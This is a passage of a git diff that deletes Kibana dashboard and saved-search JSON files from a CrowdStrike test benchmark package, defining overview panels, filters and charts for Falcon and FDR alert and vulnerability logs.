"65de46f1-ebf9-4c15-8306-f3bc3390b1b8:indexpattern-datasource-layer-986a7419-3b29-4812-8f1e-8648d18ce08b", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "65de46f1-ebf9-4c15-8306-f3bc3390b1b8:db8d1eab-6c1e-4d8a-9efa-1f7407fc28bf", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "aaa3ce74-8cbd-4e77-837e-cdbd42494339:indexpattern-datasource-layer-6e0f7ac1-eb8d-4a86-be2b-9d2f9d1a2dc1", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "aaa3ce74-8cbd-4e77-837e-cdbd42494339:82644959-ef2b-4640-a0ca-d45036d96764", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "14405add-afa0-4e3f-9efd-1f52fad51027:indexpattern-datasource-layer-3a2c2235-1a9e-4db6-ac43-2f05c6775021", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "14405add-afa0-4e3f-9efd-1f52fad51027:9040575b-9449-4f08-98ae-116d26ebf28d", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "4b2cc8d9-8af6-40d0-a91f-71d717ff1bd4:indexpattern-datasource-layer-a6424e3b-fc6e-460e-8385-5a410a690d34", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "4b2cc8d9-8af6-40d0-a91f-71d717ff1bd4:7f2f6ede-7728-4214-a79c-27931101ec10", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "69f87d85-d0f2-4fb3-9e02-e970098547db:indexpattern-datasource-layer-e83ee069-a761-49ed-878d-c9972e55a388", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "69f87d85-d0f2-4fb3-9e02-e970098547db:9a07642d-eec9-4213-b1ae-bb5adbbcf25c", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "940c98f0-56e7-4e29-88d2-07f160f579cb:indexpattern-datasource-layer-4e7a254a-d432-4988-a5cb-3de38f841cc9", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "940c98f0-56e7-4e29-88d2-07f160f579cb:d887537f-f1fd-404b-8327-8bf3b0d1fdfe", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "9af8495e-c5fb-4fee-ae54-1fffa46a4401:indexpattern-datasource-layer-a278b2d5-076e-409c-b9ca-2da50d6d0a09", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "9af8495e-c5fb-4fee-ae54-1fffa46a4401:bbcb4d86-6890-474c-9975-f1476711cfad", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "e69a2e95-217d-43d5-acae-811245c3e308:indexpattern-datasource-layer-d64a8cc0-006e-4e06-9e75-e32cf447cf41", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "53575ba2-1378-4f8a-990d-2c5c603ea0a2:indexpattern-datasource-layer-3d13796e-f0f8-45e1-b836-ad209d6cb1ba", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "eeaa1689-14d1-47b4-81f7-c72fcb03a75b:indexpattern-datasource-layer-3e217a16-1cad-407e-a29d-33fb0efd613e", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "d8841493-66ad-484a-8c0d-364af07dfc1d:indexpattern-datasource-layer-de65c5ed-b26c-419b-9a15-9928336a1964", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "563afa88-1775-4eb7-b9a4-623df26e9c9b:indexpattern-datasource-layer-96ed08f7-28f8-4a35-bcb6-699287f45a23", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "fdd5aa72-947d-4a68-b912-5ab8bb724da3:indexpattern-datasource-layer-7b92f2c7-c7d0-4a5d-a24a-0e25193f6ce9", - "type": "index-pattern" - } - ], - "type": "dashboard", - "typeMigrationVersion": "10.2.0", - "updated_by": "u_mGBROF_q5bmFCATbLXAcCwKa0k8JvONAwSruelyKA5E_0" -} \ No newline at end of file diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-e64e8fe0-8210-11ee-bae0-937af575b750.json b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-e64e8fe0-8210-11ee-bae0-937af575b750.json deleted file mode 100644 index 623e3c5bb6..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-e64e8fe0-8210-11ee-bae0-937af575b750.json +++ /dev/null @@ -1,1073 +0,0 @@ -{ - "attributes": { - "controlGroupInput": { - "chainingSystem": "HIERARCHICAL", - "controlStyle": "oneLine", - "ignoreParentSettingsJSON": { - "ignoreFilters": false, - "ignoreQuery": false, - "ignoreTimerange": false, - "ignoreValidations": false - }, - "panelsJSON": { - "1424080f-b8da-4816-94dd-904bde41c6de": { - "explicitInput": { - "dataViewId": "logs-*", - "fieldName": "observer.address", - "id": "1424080f-b8da-4816-94dd-904bde41c6de", - "searchTechnique": "prefix", - "selectedOptions": [], - "sort": { - "by": "_count", - "direction": "desc" - }, - "title": "Observer Address" - }, - "grow": true, - "order": 0, - "type": "optionsListControl", - "width": "medium" - }, - "234700e7-0f96-4054-9073-64b3e2d61fa2": { - "explicitInput": { - "dataViewId": "logs-*", - "fieldName": "data_stream.dataset", - "id": "234700e7-0f96-4054-9073-64b3e2d61fa2", - "searchTechnique": "prefix", - "selectedOptions": [], - "sort": { - "by": "_count", - "direction": "desc" - }, - "title": "Datastream" - }, - "grow": true, - "order": 2, - "type": "optionsListControl", - "width": "medium" - }, - "2f027408-9e82-4fbe-8c59-f32e933b50f0": { - "explicitInput": { - "dataViewId": "logs-*", - "fieldName": "host.hostname", - "id": "2f027408-9e82-4fbe-8c59-f32e933b50f0", - "searchTechnique": "prefix", - "selectedOptions": [], - "sort": { - "by": "_count", - "direction": "desc" - }, - "title": "Hostname" - }, - "grow": true, - "order": 1, - "type": "optionsListControl", - "width": "medium" - }, - "3dc73766-aa88-46ff-a02d-b0e600136550": { - "explicitInput": { - "dataViewId": "logs-*", - "fieldName": "event.action", - "id": "3dc73766-aa88-46ff-a02d-b0e600136550", - "searchTechnique": "prefix", - "selectedOptions": [], - "sort": { - "by": "_count", - "direction": "desc" - }, - "title": "Event Type" - }, - "grow": true, - "order": 3, - "type": "optionsListControl", - "width": "medium" - } - }, - "showApplySelections": false - }, - "description": "", - "kibanaSavedObjectMeta": { - "searchSourceJSON": { - "filter": [ - { - "$state": { - "store": "appState" - }, - "meta": { - "alias": null, - "disabled": false, - "field": "data_stream.dataset", - "indexRefName": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index", - "key": "data_stream.dataset", - "negate": false, - "params": [ - "crowdstrike.falcon", - "crowdstrike.fdr" - ], - "type": "phrases" - }, - "query": { - "bool": { - "minimum_should_match": 1, - "should": [ - { - "match_phrase": { - "data_stream.dataset": "crowdstrike.falcon" - } - }, - { - "match_phrase": { - "data_stream.dataset": "crowdstrike.fdr" - } - } - ] - } - } - } - ], - "query": { - "language": "kuery", - "query": "" - } - } - }, - "optionsJSON": { - "hidePanelTitles": false, - "syncColors": false, - "syncCursor": true, - "syncTooltips": false, - "useMargins": true - }, - "panelsJSON": [ - { - "embeddableConfig": { - "enhancements": { - "dynamicActions": { - "events": [] - } - }, - "hidePanelTitles": false, - "savedVis": { - "data": { - "aggs": [], - "searchSource": { - "filter": [], - "query": { - "language": "kuery", - "query": "" - } - } - }, - "description": "", - "id": "", - "params": { - "fontSize": 12, - "markdown": "## **Crowdstrike**\n\n### Navigation\n\n**Overview** \n\n[FDR](/app/dashboards#/view/crowdstrike-a4972bc0-fb53-11eb-abed-07307b3f2b0f) \n\n[Falcon](/app/dashboards#/view/crowdstrike-ad80a080-821b-11ee-bae0-937af575b750) \n\n[Alert](/app/dashboards#/view/crowdstrike-d8070b00-99b3-11ee-bf4d-afbc95e0486c)\n\n[Host](/app/dashboards#/view/crowdstrike-2921b7f0-99b5-11ee-bf4d-afbc95e0486c)\n\n[Vulnerability](/app/dashboards#/view/crowdstrike-63da2573-4e68-4e7d-a06b-6858edb60fd5)\n\n### Overview\n\nThis dashboards shows the overview of currently enabled Crowdstrike Integrations (Falcon and FDR).\n\n", - "openLinksInNewTab": false - }, - "title": "", - "type": "markdown", - "uiState": {} - } - }, - "gridData": { - "h": 41, - "i": "90059f1b-88f7-4e04-b755-081233d12559", - "w": 7, - "x": 0, - "y": 0 - }, - "panelIndex": "90059f1b-88f7-4e04-b755-081233d12559", - "title": "Table of Contents", - "type": "visualization" - }, - { - "embeddableConfig": { - "attributes": { - "references": [ - { - "id": "logs-*", - "name": "indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "a973e58c-53cc-411f-87e5-3cbbd3f0dcf8", - "type": "index-pattern" - } - ], - "state": { - "adHocDataViews": {}, - "datasourceStates": { - "formBased": { - "layers": { - "cded08fb-72d8-4fff-bd9b-ca53189f9363": { - "columnOrder": [ - "d11e6000-056a-4e47-add0-b0942e7bba2c" - ], - "columns": { - "d11e6000-056a-4e47-add0-b0942e7bba2c": { - "customLabel": true, - "dataType": "number", - "isBucketed": false, - "label": "FDR Alerts", - "operationType": "count", - "params": { - "emptyAsNull": true - }, - "scale": "ratio", - "sourceField": "___records___" - } - }, - "incompleteColumns": {}, - "sampling": 1 - } - } - }, - "textBased": { - "layers": {} - } - }, - "filters": [ - { - "$state": { - "store": "appState" - }, - "meta": { - "alias": null, - "disabled": false, - "index": "a973e58c-53cc-411f-87e5-3cbbd3f0dcf8", - "negate": false, - "params": [ - { - "meta": { - "alias": null, - "disabled": false, - "field": "data_stream.dataset", - "index": "logs-*", - "key": "data_stream.dataset", - "negate": false, - "params": { - "query": "crowdstrike.fdr" - }, - "type": "phrase" - }, - "query": { - "match_phrase": { - "data_stream.dataset": "crowdstrike.fdr" - } - } - }, - { - "meta": { - "alias": null, - "disabled": false, - "field": "event.kind", - "index": "logs-*", - "key": "event.kind", - "negate": false, - "params": { - "query": "alert" - }, - "type": "phrase" - }, - "query": { - "match_phrase": { - "event.kind": "alert" - } - } - } - ], - "relation": "AND", - "type": "combined" - }, - "query": {} - } - ], - "internalReferences": [], - "query": { - "language": "kuery", - "query": "" - }, - "visualization": { - "color": "#6092C0", - "layerId": "cded08fb-72d8-4fff-bd9b-ca53189f9363", - "layerType": "data", - "metricAccessor": "d11e6000-056a-4e47-add0-b0942e7bba2c" - } - }, - "title": "", - "type": "lens", - "visualizationType": "lnsMetric" - }, - "enhancements": {}, - "hidePanelTitles": false - }, - "gridData": { - "h": 7, - "i": "461d0b53-5efe-44fb-8cba-73a6e1a701c0", - "w": 7, - "x": 7, - "y": 0 - }, - "panelIndex": "461d0b53-5efe-44fb-8cba-73a6e1a701c0", - "title": "FDR Alerts", - "type": "lens" - }, - { - "embeddableConfig": { - "attributes": { - "references": [ - { - "id": "logs-*", - "name": "indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "1261050c-1c7b-426f-968d-78596586554e", - "type": "index-pattern" - } - ], - "state": { - "adHocDataViews": {}, - "datasourceStates": { - "formBased": { - "layers": { - "cded08fb-72d8-4fff-bd9b-ca53189f9363": { - "columnOrder": [ - "d11e6000-056a-4e47-add0-b0942e7bba2c" - ], - "columns": { - "d11e6000-056a-4e47-add0-b0942e7bba2c": { - "customLabel": true, - "dataType": "number", - "isBucketed": false, - "label": "Falcon Incidents", - "operationType": "count", - "params": { - "emptyAsNull": true - }, - "scale": "ratio", - "sourceField": "___records___" - } - }, - "incompleteColumns": {}, - "sampling": 1 - } - } - }, - "textBased": { - "layers": {} - } - }, - "filters": [ - { - "$state": { - "store": "appState" - }, - "meta": { - "alias": null, - "disabled": false, - "index": "1261050c-1c7b-426f-968d-78596586554e", - "negate": false, - "params": [ - { - "meta": { - "alias": null, - "disabled": false, - "field": "data_stream.dataset", - "index": "logs-*", - "key": "data_stream.dataset", - "negate": false, - "params": { - "query": "crowdstrike.falcon" - }, - "type": "phrase" - }, - "query": { - "match_phrase": { - "data_stream.dataset": "crowdstrike.falcon" - } - } - }, - { - "meta": { - "alias": null, - "disabled": false, - "field": "crowdstrike.event.Category", - "index": "logs-*", - "key": "crowdstrike.event.Category", - "negate": false, - "params": { - "query": "Incidents" - }, - "type": "phrase" - }, - "query": { - "match_phrase": { - "crowdstrike.event.Category": "Incidents" - } - } - } - ], - "relation": "AND", - "type": "combined" - }, - "query": {} - } - ], - "internalReferences": [], - "query": { - "language": "kuery", - "query": "" - }, - "visualization": { - "color": "#6092C0", - "layerId": "cded08fb-72d8-4fff-bd9b-ca53189f9363", - "layerType": "data", - "metricAccessor": "d11e6000-056a-4e47-add0-b0942e7bba2c" - } - }, - "title": "", - "type": "lens", - "visualizationType": "lnsMetric" - }, - "enhancements": {}, - "hidePanelTitles": false - }, - "gridData": { - "h": 7, - "i": "82bafaa2-170e-4d47-a01b-84c7af225795", - "w": 7, - "x": 14, - "y": 0 - }, - "panelIndex": "82bafaa2-170e-4d47-a01b-84c7af225795", - "title": "Falcon Incidents", - "type": "lens" - }, - { - "embeddableConfig": { - "attributes": { - "references": [ - { - "id": "logs-*", - "name": "indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363", - "type": "index-pattern" - } - ], - "state": { - "adHocDataViews": {}, - "datasourceStates": { - "formBased": { - "layers": { - "cded08fb-72d8-4fff-bd9b-ca53189f9363": { - "columnOrder": [ - "b6bfb664-2c78-419f-9616-f7c4b40f580e", - "3d6bbe8c-883f-4b3d-8680-ee75b7b8bc93", - "d11e6000-056a-4e47-add0-b0942e7bba2c" - ], - "columns": { - "3d6bbe8c-883f-4b3d-8680-ee75b7b8bc93": { - "dataType": "date", - "isBucketed": true, - "label": "@timestamp", - "operationType": "date_histogram", - "params": { - "dropPartials": false, - "includeEmptyRows": true, - "interval": "auto" - }, - "scale": "interval", - "sourceField": "@timestamp" - }, - "b6bfb664-2c78-419f-9616-f7c4b40f580e": { - "customLabel": true, - "dataType": "string", - "isBucketed": true, - "label": "Activity by Data Stream", - "operationType": "terms", - "params": { - "exclude": [], - "excludeIsRegex": false, - "include": [], - "includeIsRegex": false, - "missingBucket": false, - "orderBy": { - "columnId": "d11e6000-056a-4e47-add0-b0942e7bba2c", - "type": "column" - }, - "orderDirection": "desc", - "otherBucket": true, - "parentFormat": { - "id": "terms" - }, - "size": 2 - }, - "scale": "ordinal", - "sourceField": "data_stream.dataset" - }, - "d11e6000-056a-4e47-add0-b0942e7bba2c": { - "customLabel": true, - "dataType": "number", - "isBucketed": false, - "label": "Count", - "operationType": "count", - "params": { - "emptyAsNull": true - }, - "scale": "ratio", - "sourceField": "___records___" - } - }, - "incompleteColumns": {}, - "sampling": 1 - } - } - }, - "textBased": { - "layers": {} - } - }, - "filters": [], - "internalReferences": [], - "query": { - "language": "kuery", - "query": "" - }, - "visualization": { - "axisTitlesVisibilitySettings": { - "x": true, - "yLeft": true, - "yRight": true - }, - "fittingFunction": "None", - "gridlinesVisibilitySettings": { - "x": true, - "yLeft": true, - "yRight": true - }, - "labelsOrientation": { - "x": 0, - "yLeft": 0, - "yRight": 0 - }, - "layers": [ - { - "accessors": [ - "d11e6000-056a-4e47-add0-b0942e7bba2c" - ], - "layerId": "cded08fb-72d8-4fff-bd9b-ca53189f9363", - "layerType": "data", - "seriesType": "area", - "splitAccessor": "b6bfb664-2c78-419f-9616-f7c4b40f580e", - "xAccessor": "3d6bbe8c-883f-4b3d-8680-ee75b7b8bc93" - } - ], - "legend": { - "isVisible": true, - "position": "right" - }, - "preferredSeriesType": "area", - "tickLabelsVisibilitySettings": { - "x": true, - "yLeft": true, - "yRight": true - }, - "valueLabels": "hide" - } - }, - "title": "", - "type": "lens", - "visualizationType": "lnsXY" - }, - "enhancements": {}, - "hidePanelTitles": false - }, - "gridData": { - "h": 21, - "i": "3ae87a07-7518-4354-9eb2-2f548fcf2935", - "w": 27, - "x": 21, - "y": 0 - }, - "panelIndex": "3ae87a07-7518-4354-9eb2-2f548fcf2935", - "title": "Events over Time by Data Stream", - "type": "lens" - }, - { - "embeddableConfig": { - "attributes": { - "references": [ - { - "id": "logs-*", - "name": "indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "e3dd4e95-a876-4c1e-9ba4-41fbbb4f5dfd", - "type": "index-pattern" - } - ], - "state": { - "adHocDataViews": {}, - "datasourceStates": { - "formBased": { - "layers": { - "cded08fb-72d8-4fff-bd9b-ca53189f9363": { - "columnOrder": [ - "2c916dee-9123-4c38-837b-848078cac0a5", - "d11e6000-056a-4e47-add0-b0942e7bba2c" - ], - "columns": { - "2c916dee-9123-4c38-837b-848078cac0a5": { - "customLabel": true, - "dataType": "string", - "isBucketed": true, - "label": "Top FDR Alerts", - "operationType": "terms", - "params": { - "exclude": [], - "excludeIsRegex": false, - "include": [], - "includeIsRegex": false, - "missingBucket": false, - "orderBy": { - "columnId": "d11e6000-056a-4e47-add0-b0942e7bba2c", - "type": "column" - }, - "orderDirection": "desc", - "otherBucket": true, - "parentFormat": { - "id": "terms" - }, - "size": 10 - }, - "scale": "ordinal", - "sourceField": "event.action" - }, - "d11e6000-056a-4e47-add0-b0942e7bba2c": { - "customLabel": true, - "dataType": "number", - "isBucketed": false, - "label": "Count", - "operationType": "count", - "params": { - "emptyAsNull": true - }, - "scale": "ratio", - "sourceField": "___records___" - } - }, - "incompleteColumns": {}, - "sampling": 1 - } - } - }, - "textBased": { - "layers": {} - } - }, - "filters": [ - { - "$state": { - "store": "appState" - }, - "meta": { - "alias": null, - "disabled": false, - "index": "e3dd4e95-a876-4c1e-9ba4-41fbbb4f5dfd", - "negate": false, - "params": [ - { - "meta": { - "alias": null, - "disabled": false, - "field": "data_stream.dataset", - "index": "logs-*", - "key": "data_stream.dataset", - "negate": false, - "params": { - "query": "crowdstrike.fdr" - }, - "type": "phrase" - }, - "query": { - "match_phrase": { - "data_stream.dataset": "crowdstrike.fdr" - } - } - }, - { - "meta": { - "alias": null, - "disabled": false, - "field": "event.kind", - "index": "logs-*", - "key": "event.kind", - "negate": false, - "params": { - "query": "alert" - }, - "type": "phrase" - }, - "query": { - "match_phrase": { - "event.kind": "alert" - } - } - } - ], - "relation": "AND", - "type": "combined" - }, - "query": {} - } - ], - "internalReferences": [], - "query": { - "language": "kuery", - "query": "" - }, - "visualization": { - "layers": [ - { - "categoryDisplay": "default", - "layerId": "cded08fb-72d8-4fff-bd9b-ca53189f9363", - "layerType": "data", - "legendDisplay": "default", - "metrics": [ - "d11e6000-056a-4e47-add0-b0942e7bba2c" - ], - "nestedLegend": false, - "numberDisplay": "percent", - "primaryGroups": [ - "2c916dee-9123-4c38-837b-848078cac0a5" - ] - } - ], - "shape": "donut" - } - }, - "title": "", - "type": "lens", - "visualizationType": "lnsPie" - }, - "enhancements": {}, - "hidePanelTitles": false - }, - "gridData": { - "h": 14, - "i": "ddcad6b5-4e8e-4f43-8b3e-b0f11cd702da", - "w": 7, - "x": 7, - "y": 7 - }, - "panelIndex": "ddcad6b5-4e8e-4f43-8b3e-b0f11cd702da", - "title": "FDR Alert Types", - "type": "lens" - }, - { - "embeddableConfig": { - "attributes": { - "references": [ - { - "id": "logs-*", - "name": "indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "24d5c96e-43cb-4b7f-bc94-8d85933c1ad6", - "type": "index-pattern" - } - ], - "state": { - "adHocDataViews": {}, - "datasourceStates": { - "formBased": { - "layers": { - "cded08fb-72d8-4fff-bd9b-ca53189f9363": { - "columnOrder": [ - "2c916dee-9123-4c38-837b-848078cac0a5", - "d11e6000-056a-4e47-add0-b0942e7bba2c" - ], - "columns": { - "2c916dee-9123-4c38-837b-848078cac0a5": { - "customLabel": true, - "dataType": "string", - "isBucketed": true, - "label": "Top Falcon Incidents", - "operationType": "terms", - "params": { - "exclude": [], - "excludeIsRegex": false, - "include": [], - "includeIsRegex": false, - "missingBucket": false, - "orderBy": { - "columnId": "d11e6000-056a-4e47-add0-b0942e7bba2c", - "type": "column" - }, - "orderDirection": "desc", - "otherBucket": true, - "parentFormat": { - "id": "terms" - }, - "size": 10 - }, - "scale": "ordinal", - "sourceField": "event.action" - }, - "d11e6000-056a-4e47-add0-b0942e7bba2c": { - "customLabel": true, - "dataType": "number", - "isBucketed": false, - "label": "Count", - "operationType": "count", - "params": { - "emptyAsNull": true - }, - "scale": "ratio", - "sourceField": "___records___" - } - }, - "incompleteColumns": {}, - "sampling": 1 - } - } - }, - "textBased": { - "layers": {} - } - }, - "filters": [ - { - "$state": { - "store": "appState" - }, - "meta": { - "alias": null, - "disabled": false, - "index": "24d5c96e-43cb-4b7f-bc94-8d85933c1ad6", - "negate": false, - "params": [ - { - "meta": { - "alias": null, - "disabled": false, - "field": "data_stream.dataset", - "index": "logs-*", - "key": "data_stream.dataset", - "negate": false, - "params": { - "query": "crowdstrike.falcon" - }, - "type": "phrase" - }, - "query": { - "match_phrase": { - "data_stream.dataset": "crowdstrike.falcon" - } - } - }, - { - "meta": { - "alias": null, - "disabled": false, - "field": "crowdstrike.event.Category", - "index": "logs-*", - "key": "crowdstrike.event.Category", - "negate": false, - "params": { - "query": "Incidents" - }, - "type": "phrase" - }, - "query": { - "match_phrase": { - "crowdstrike.event.Category": "Incidents" - } - } - } - ], - "relation": "AND", - "type": "combined" - }, - "query": {} - } - ], - "internalReferences": [], - "query": { - "language": "kuery", - "query": "" - }, - "visualization": { - "layers": [ - { - "categoryDisplay": "default", - "layerId": "cded08fb-72d8-4fff-bd9b-ca53189f9363", - "layerType": "data", - "legendDisplay": "default", - "metrics": [ - "d11e6000-056a-4e47-add0-b0942e7bba2c" - ], - "nestedLegend": false, - "numberDisplay": "percent", - "primaryGroups": [ - "2c916dee-9123-4c38-837b-848078cac0a5" - ] - } - ], - "shape": "donut" - } - }, - "title": "", - "type": "lens", - "visualizationType": "lnsPie" - }, - "enhancements": {}, - "hidePanelTitles": false - }, - "gridData": { - "h": 14, - "i": "f1412dea-44cf-41dc-88e0-6e4d70ccbe80", - "w": 7, - "x": 14, - "y": 7 - }, - "panelIndex": "f1412dea-44cf-41dc-88e0-6e4d70ccbe80", - "title": "Falcon Incident Types", - "type": "lens" - }, - { - "embeddableConfig": { - "description": "", - "enhancements": {} - }, - "gridData": { - "h": 20, - "i": "32d232a4-d1fd-43ac-8f5e-02e4e2aff981", - "w": 21, - "x": 7, - "y": 21 - }, - "panelIndex": "32d232a4-d1fd-43ac-8f5e-02e4e2aff981", - "panelRefName": "panel_32d232a4-d1fd-43ac-8f5e-02e4e2aff981", - "title": "[Crowdstrike] Newest FDR Alerts", - "type": "search" - }, - { - "embeddableConfig": { - "description": "", - "enhancements": {} - }, - "gridData": { - "h": 20, - "i": "5faa13bd-3f89-4fa2-9f96-242cf14237a4", - "w": 20, - "x": 28, - "y": 21 - }, - "panelIndex": "5faa13bd-3f89-4fa2-9f96-242cf14237a4", - "panelRefName": "panel_5faa13bd-3f89-4fa2-9f96-242cf14237a4", - "title": "[Crowdstrike] Newest Falcon Incidents", - "type": "search" - } - ], - "timeRestore": false, - "title": "[Crowdstrike] Overview", - "version": 2 - }, - "coreMigrationVersion": "8.8.0", - "created_at": "2025-03-01T12:27:18.648Z", - "id": "crowdstrike-e64e8fe0-8210-11ee-bae0-937af575b750", - "managed": false, - "references": [ - { - "id": "logs-*", - "name": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "461d0b53-5efe-44fb-8cba-73a6e1a701c0:indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "461d0b53-5efe-44fb-8cba-73a6e1a701c0:a973e58c-53cc-411f-87e5-3cbbd3f0dcf8", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "82bafaa2-170e-4d47-a01b-84c7af225795:indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "82bafaa2-170e-4d47-a01b-84c7af225795:1261050c-1c7b-426f-968d-78596586554e", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "3ae87a07-7518-4354-9eb2-2f548fcf2935:indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "ddcad6b5-4e8e-4f43-8b3e-b0f11cd702da:indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "ddcad6b5-4e8e-4f43-8b3e-b0f11cd702da:e3dd4e95-a876-4c1e-9ba4-41fbbb4f5dfd", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "f1412dea-44cf-41dc-88e0-6e4d70ccbe80:indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "f1412dea-44cf-41dc-88e0-6e4d70ccbe80:24d5c96e-43cb-4b7f-bc94-8d85933c1ad6", - "type": "index-pattern" - }, - { - "id": "crowdstrike-9b99d190-8214-11ee-bae0-937af575b750", - "name": "32d232a4-d1fd-43ac-8f5e-02e4e2aff981:panel_32d232a4-d1fd-43ac-8f5e-02e4e2aff981", - "type": "search" - }, - { - "id": "crowdstrike-a9e7ff80-8212-11ee-bae0-937af575b750", - "name": "5faa13bd-3f89-4fa2-9f96-242cf14237a4:panel_5faa13bd-3f89-4fa2-9f96-242cf14237a4", - "type": "search" - }, - { - "id": "logs-*", - "name": "controlGroup_1424080f-b8da-4816-94dd-904bde41c6de:optionsListDataView", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "controlGroup_2f027408-9e82-4fbe-8c59-f32e933b50f0:optionsListDataView", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "controlGroup_234700e7-0f96-4054-9073-64b3e2d61fa2:optionsListDataView", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "controlGroup_3dc73766-aa88-46ff-a02d-b0e600136550:optionsListDataView", - "type": "index-pattern" - } - ], - "type": "dashboard", - "typeMigrationVersion": "10.2.0", - "updated_by": "u_mGBROF_q5bmFCATbLXAcCwKa0k8JvONAwSruelyKA5E_0" -} \ No newline at end of file diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/search/crowdstrike-56381e0f-4f72-4fc7-810c-5ba5b2c47b8c.json b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/search/crowdstrike-56381e0f-4f72-4fc7-810c-5ba5b2c47b8c.json deleted file mode 100644 index e28e095fce..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/search/crowdstrike-56381e0f-4f72-4fc7-810c-5ba5b2c47b8c.json +++ /dev/null @@ -1,50 +0,0 @@ -{ - "attributes": { - "columns": [ - "vulnerability.id", - "vulnerability.score.base", - "crowdstrike.vulnerability.cve.impact_score", - "crowdstrike.vulnerability.cve.exploitability_score", - "crowdstrike.vulnerability.suppression_info.is_suppressed", - "crowdstrike.vulnerability.cve.exprt_rating", - "message" - ], - "description": "", - "grid": { - "columns": {} - }, - "hideChart": false, - "isTextBasedQuery": false, - "kibanaSavedObjectMeta": { - "searchSourceJSON": { - "filter": [], - "indexRefName": "kibanaSavedObjectMeta.searchSourceJSON.index", - "query": { - "language": "kuery", - "query": "" - } - } - }, - "sort": [ - [ - "@timestamp", - "desc" - ] - ], - "timeRestore": false, - "title": "Vulnerability Essential Details [Logs Crowdstrike]" - }, - "coreMigrationVersion": "8.8.0", - "created_at": "2025-03-08T11:24:15.268Z", - "id": "crowdstrike-56381e0f-4f72-4fc7-810c-5ba5b2c47b8c", - "managed": true, - "references": [ - { - "id": "logs-*", - "name": "kibanaSavedObjectMeta.searchSourceJSON.index", - "type": "index-pattern" - } - ], - "type": "search", - "typeMigrationVersion": "10.5.0" -} \ No newline at end of file diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/search/crowdstrike-9b99d190-8214-11ee-bae0-937af575b750.json b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/search/crowdstrike-9b99d190-8214-11ee-bae0-937af575b750.json deleted file mode 100644 index bdafff838c..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/search/crowdstrike-9b99d190-8214-11ee-bae0-937af575b750.json +++ /dev/null @@ -1,194 +0,0 @@ -{ - "attributes": { - "columns": [ - "event.action", - "observer.address", - "host.hostname" - ], - "description": "", - "grid": { - "columns": { - "event.action": { - "width": 210 - }, - "observer.address": { - "width": 197 - } - } - }, - "hideChart": false, - "isTextBasedQuery": false, - "kibanaSavedObjectMeta": { - "searchSourceJSON": { - "filter": [ - { - "$state": { - "store": "appState" - }, - "meta": { - "alias": null, - "disabled": false, - "field": "data_stream.dataset", - "indexRefName": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index", - "key": "data_stream.dataset", - "negate": false, - "params": { - "query": "crowdstrike.fdr" - }, - "type": "phrase" - }, - "query": { - "match_phrase": { - "data_stream.dataset": "crowdstrike.fdr" - } - } - }, - { - "$state": { - "store": "appState" - }, - "meta": { - "alias": null, - "disabled": false, - "indexRefName": "kibanaSavedObjectMeta.searchSourceJSON.filter[1].meta.index", - "negate": false, - "params": [ - { - "meta": { - "alias": null, - "disabled": false, - "field": "event.action", - "index": "logs-*", - "key": "event.action", - "negate": false, - "type": "exists", - "value": "exists" - }, - "query": { - "exists": { - "field": "event.action" - } - } - }, - { - "meta": { - 